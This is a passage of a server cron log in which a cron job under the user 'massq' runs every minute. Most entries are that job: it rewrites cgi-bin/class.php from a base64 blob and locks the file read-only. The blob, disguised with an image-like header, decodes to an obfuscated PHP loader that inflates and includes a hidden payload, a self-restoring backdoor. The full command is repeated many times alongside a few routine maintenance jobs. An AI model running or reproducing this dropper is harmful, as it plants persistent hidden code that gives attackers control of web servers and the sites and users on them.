&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:55:01 server CROND[21060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:55:01 server CROND[21061]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 15:55:01 server CROND[21062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 15:56:01 server CROND[21372]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:57:01 server CROND[21629]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 15:57:01 server CROND[21630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:58:01 server CROND[21985]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:59:01 server CROND[22249]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:00:01 server CROND[22519]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 16:00:01 server CROND[22518]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 15 16:00:01 server CROND[22523]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:00:01 server CROND[22522]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:00:01 server CROND[22521]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 16:01:01 server CROND[22844]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:01:01 server CROND[22847]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 16:01:01 server run-parts(/etc/cron.hourly)[22847]: starting 0anacron
Nov 15 16:01:01 server run-parts(/etc/cron.hourly)[22859]: finished 0anacron
Nov 15 16:02:01 server CROND[23119]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:03:01 server CROND[23479]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:04:01 server CROND[23740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:05:01 server CROND[24011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 16:05:01 server CROND[24012]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 16:05:01 server CROND[24013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 16:05:01 server CROND[24014]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 16:06:01 server CROND[24338]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
